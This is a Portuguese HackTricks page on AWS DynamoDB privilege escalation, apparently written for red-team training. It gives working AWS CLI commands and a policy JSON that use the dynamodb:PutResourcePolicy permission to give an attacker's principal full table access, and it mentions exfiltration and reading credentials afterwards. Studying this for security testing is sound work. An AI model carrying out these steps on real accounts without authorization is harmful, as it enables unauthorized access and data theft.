AWS - DynamoDB Privesc
Reading time: 4 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
dynamodb
Para mais informações sobre dynamodb, consulte:
dynamodb:PutResourcePolicy
, e opcionalmente dynamodb:GetResourcePolicy
Desde março de 2024, a AWS oferece políticas baseadas em recursos para DynamoDB (AWS News).
Assim, se você tiver o dynamodb:PutResourcePolicy
para uma tabela, pode simplesmente conceder a si mesmo ou a qualquer outro principal acesso total à tabela.
Conceder o dynamodb:PutResourcePolicy
a um principal aleatório muitas vezes acontece por acidente, se os administradores acharem que conceder dynamodb:Put*
permitiria apenas que o principal inserisse itens no banco de dados - ou se concederam esse conjunto de permissões antes de março de 2024...
Idealmente, você também deve ter dynamodb:GetResourcePolicy
, para que não sobrescreva outras permissões potencialmente vitais, mas apenas injete as permissões adicionais de que precisa:
# get the current resource based policy (if it exists) and save it to a file
aws dynamodb get-resource-policy \
--resource-arn <table_arn> \
--query 'Policy' \
--output text > policy.json
Se você não conseguir recuperar a política atual, use esta que concede acesso total à tabela ao seu principal:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "FullAccessToDynamoDBTable",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
},
"Action": [
"dynamodb:*"
],
"Resource": [
"arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
]
}
]
}
Se você precisar personalizá-lo, aqui está uma lista de todas as ações possíveis do DynamoDB: AWS Documentation. E aqui está uma lista de todas as ações que podem ser permitidas por meio de uma política baseada em recursos E quais dessas podem ser usadas entre contas (pense em exfiltração de dados!): AWS Documentation
Agora, com o documento de política policy.json
pronto, coloque a política de recursos:
# put the new policy using the prepared policy file
# dynamodb does weirdly not allow a direct file upload
aws dynamodb put-resource-policy \
--resource-arn <table_arn> \
--policy "$(cat policy.json)"
Agora, você deve ter as permissões necessárias.
Pós Exploração
Até onde sei, não há outra maneira direta de escalar privilégios na AWS apenas tendo algumas permissões do AWS dynamodb
. Você pode ler informações sensíveis das tabelas (que podem conter credenciais da AWS) e escrever informações nas tabelas (o que pode acionar outras vulnerabilidades, como injeções de código lambda...) mas todas essas opções já estão consideradas na página de Pós Exploração do DynamoDB:
AWS - DynamoDB Post Exploitation
TODO: Ler dados abusando de Streams de dados
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.